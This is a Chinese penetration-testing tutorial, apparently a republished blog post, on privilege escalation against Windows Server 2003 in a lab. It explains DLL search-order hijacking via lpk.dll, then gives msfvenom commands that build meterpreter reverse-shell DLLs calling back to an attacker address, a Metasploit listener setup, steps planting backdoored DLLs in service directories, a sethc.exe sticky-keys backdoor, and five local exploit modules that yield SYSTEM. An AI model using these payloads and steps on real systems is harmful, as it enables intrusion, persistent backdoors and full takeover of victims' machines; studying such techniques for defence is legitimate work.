当前位置:网站首页>112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、LPK.DDL劫持提权
1、sethc.exe是什么:
sethc.exe(sethc)是一个进程文件,按5下shift后,windows就执行system32下的sethc.exe,用来开启粘滞键。粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要作用是方便Shift与其他键的组合使用。 粘滞键可以先按一个键位,再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。
一般电脑连按五次shift会出现粘滞键提示。开启粘滞键的时候,任务栏右边的系统托盘区会出现粘滞键图标。如果想关闭粘滞键,只需将使用粘滞键前的钩消除就可以。
2、lpk.dll出现的背景:
(1)因为Windows的资源共享机制。为了尽可能多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的 系统目录中,如kernel32.dll,这样能够方便找到。但是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其他的应用程序无法正确执行,因此,微软改变了策略,建议应用程序将所有文件放到自己的目录中去,而不要去碰系统目录下的任何东西。
(2)Window2000开始,微软加了一个特性,强制操作系统的加载程序首先从应用程序目录中加载模块,只有当加载程序无法在应用程序目录中找到文件,才搜索其他目录。
(3)意思就是:可执行文件都会加载lpk.dll这个文件,windows加载程序会先找程序所在目录是否存在此lpk.dll文件,如果没有就执行system32的lpk.dll
3、Windows查找dll文件的目录顺序:
(1)应用程序所在目录
(2)系统目录。 GetSystemDirectory 返回的目录,通常是系统盘\Windows\System32
(3)16位系统目录。该项只是为了向前兼容的处理,可以不考虑
(4)Windows目录。 GetWindowsDirectory 返回的目录,通常是系统盘\Windows
(5)当前目录。GetCurrentDirectory返回的目录
(6)环境变量PATH中所有目录。
4、lpk.dll劫持是什么:
(1)lpk.dll是存放在windows系统下的一个非常重要的dll文件。DLL英文全称Dynamic Link Library,中文意思是:动态链接库。其位于system32目录下,特点是每个可执行文件运行之前都要加载此dll,而windows系统特性是先判断可执行文件所在目录是否存在此dll,再判断system32目录,由此基于lpk的dll劫持就产生了
,T00ls Lpk Sethc工具只是利用这一特性而扩展编写的!
5、T00ls Lpk Sethc生成dll后门:
攻击者将该工具生成的lpk.dll上传至靶机的任意目录,受害者随后运行对应目录下的任何一个exe文件,随后将会触发lpk.dll,该伪造的lpk.dll会自动把后门替换为sethc.exe,也就是说点击五次shift后,弹出的实际是后门(高仿的粘滞键框框),而不再是之前启动粘滞键的框框了,紧接着键入自己自定义的热键从而触发后门,最后输入密码进入后门。
6、MSF生成dll反弹sehll马:
(1)攻击方制作dll反弹shell马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x64.dll
#64位反弹Shell马
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f dll > lpk_x86.dll
#32位反弹Shell马
(2)攻击方使用dll反弹shell马:
msfconsole
#打开MSF
use exploit/multi/handler
#加载侦听模块
set payload windows/meterpreter/reverse_tcp
#设置成我们之前生成木马时使用的payload
set lhost 192.168.97.130
#设置攻击方的IP地址为监听地址
set lport 12345
#设置监听端口
run
#开启侦听
7、提权过程:
(1)实验环境:
1.靶机环境:
(1)虚拟机WindowsServer2003【upload.moonteam.com】【192.168.97.132】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://upload.moonteam.com/upload_4.php
(3)实验过程:前提-3389开启状态
第一步:访问靶机链接,通过MIME突破白名单限制,上传php一句,得到webshell。
【以上过程省略】,下面是提权过程
第二步:攻击机上通过Tools Lpk Sethc v4.0攻击,设置热键cl以及启动密码后点击点击生成lpk.dll后门
第三步:通过webshell,我们发现WinWebMail目录是邮箱服务器的安装目录,我们可以把lpk.dll后门植入,当再该软件exe进程下次开启的时候,就会自动调用当前目录下的伪造的动态链接库lpk.dll后门
第四步:等待系统重启后,WinWebMail服务将会自动启动,然后该进程就会自动加载当前目录下的lpk.dll后门,成功触发lpk.dll,该伪造的lpk.dll会自动把后门替换为sethc.exe,也就是说点击五次shift后,弹出的实际是后门(高仿的粘滞键框框),而不再是之前启动粘滞键的框框了,紧接着键入自己自定义的热键从而触发后门,最后输入密码进入后门。
远程连接靶机,键入5此shift触发粘滞键:
键入CL,触发后门:
输入后门密码,进入后门,输入命令whoami,发现已经是system权限了:
第五步:通过上面的后门程序,我们可以创建管理员组用户,然后通过3389登录进去,又发现到mysql的目录,我们可以把MSF生成的反弹Shell的lpk.dll放到mysql.exe进程的目录下,当系统重启后会自动启用该进程,从而触发伪造的lpk.dll,反弹shell到攻击机上
上传MSF生成的lpk.dll到靶机的mysql.exe目录下:
攻击机开启侦听:
等待靶机系统重启后,触发lpk.dll,成功反弹meterpreter shell,并且发现权限很低:
第六步:依次键入shell、systeminfo,查看操作系统版本,发现是winserver2003 x86,我们可以在msf中搜索可以提取的模块,加以利用
第七步:依次输入以下命令,搜索可以提权的模块,加以利用
exit
#退出meterpreter的shell
background
#挂机当前session 1
search 2003
·#搜索关于2003的exp
如下所示,带有local的一般都是本地提权:
use exploit/windows/local/ms11_080_afdjoinleaf
#这里测试第一个expset session 1
#设置刚刚获得的sessionset lhost 192.168.97.130
#攻击者IPset lport 12345
#攻击者刚刚获得的session的端口run
#运行getuid
#获取当前id
如下所示,在session 1的基础上又获得了一个session 2,这里的新session 2是system权限:
#或者使用use exploit/windows/local/ms14_058_track_popup_menu
模块
【开启了一个新session,进入新session直接就是system】【这个提权可以跟上一个提权并存】
#或者使用use exploit/windows/local/ms14_070_tcpip_ioctl
模块
【开启了一个新session,进入新session直接就是system】【这个提权只能单独使用】
发现session关闭了,所以需要重新反弹shell,可以通过刚刚获得的远程桌面,双击mysqld.exe触发lpk.dll反弹shell
如下:成功提权
#或者使用use exploit/windows/local/ms_ndproxy
【没有开启新session】【需要手动进入原来session,getuid直接发现就是system权限】
#或者使用use exploit/windows/local/ppr_flatten_rec
【没有开启新session】【需要手动进入原来session,再去getsystem提权获得system权限】
附:Window Server 2003设置软件开启自启
Window Server 2003如何设置软件的开启自启动,把软件或者快捷方式放入以下目录下即可:
附:Windows Server 2003-MSF本地提权的五个模块
模块 | 说明 |
---|---|
use exploit/windows/local/ms11_080_afdjoinleaf | 开启了一个新session,进入新session直接就是system |
use exploit/windows/local/ms14_058_track_popup_menu | 开启了一个新session,进入新session直接就是system,这个提权可以跟上一个提权并存 |
use exploit/windows/local/ms14_070_tcpip_ioctl | 开启了一个新session,进入新session直接就是system,这个提权只能单独使用 |
use exploit/windows/local/ms_ndproxy | 没有开启新session,需要手动进入原来session,直接getuid就是system权限 |
use exploit/windows/local/ppr_flatten_rec | 没有开启新session,需要手动进入原来session,再去getsystem提权 |
边栏推荐
- 竟然有一半的人不知道 for 与 foreach 的区别???
- 博客搬家到知乎
- R language Visual facet chart, hypothesis test, multivariable grouping t-test, visual multivariable grouping faceting boxplot, and add significance levels and jitter points
- The running kubernetes cluster wants to adjust the network segment address of pod
- In my limited software testing experience, a full-time summary of automation testing experience
- CMU15445 (Fall 2019) 之 Project#2 - Hash Table 详解
- OneDNS助力高校行业网络安全
- Test the foundation of development, and teach you to prepare for a fully functional web platform environment
- MATLAB实现Huffman编码译码含GUI界面
- Common SQL statement collation: MySQL
猜你喜欢
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
Enclosed please find. Net Maui's latest learning resources
How to add aplayer music player in blog
Flet教程之 17 Card卡片组件 基础入门(教程含源码)
相机标定(2): 单目相机标定总结
Programming examples of stm32f1 and stm32subeide -315m super regenerative wireless remote control module drive
Talk about SOC startup (x) kernel startup pilot knowledge
Summed up 200 Classic machine learning interview questions (with reference answers)
一起探索云服务之云数据库
The running kubernetes cluster wants to adjust the network segment address of pod
随机推荐
Nuclear boat (I): when "male mothers" come into reality, can the biotechnology revolution liberate women?
When sink is consumed in mysql, the self incrementing primary key has been set in the database table. How to operate in Flink?
Have you ever met flick Oracle CDC, read a table without update operation, and read it repeatedly every ten seconds
聊聊SOC启动(十一) 内核初始化
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
本地navicat连接liunx下的oracle报权限不足
【神经网络】卷积神经网络CNN【含Matlab源码 1932期】
Flet教程之 19 VerticalDivider 分隔符组件 基础入门(教程含源码)
Tsinghua Yaoban programmers, online marriage was scolded?
总结了200道经典的机器学习面试题(附参考答案)
【最短路】ACwing 1127. 香甜的黄油(堆优化的dijsktra或spfa)
R Language Using Image of magick package Mosaic Function and Image La fonction flatten empile plusieurs images ensemble pour former des couches empilées sur chaque autre
Briefly introduce closures and some application scenarios
Talk about SOC startup (11) kernel initialization
Two week selection of tdengine community issues | phase II
STM32F1与STM32CubeIDE编程实例-MAX7219驱动8位7段数码管(基于SPI)
通过环境变量将 Pod 信息呈现给容器
SwiftUI 4 新功能之掌握 WeatherKit 和 Swift Charts
Zhou Yajin, a top safety scholar of Zhejiang University, is a curiosity driven activist
QT implements the delete method of the container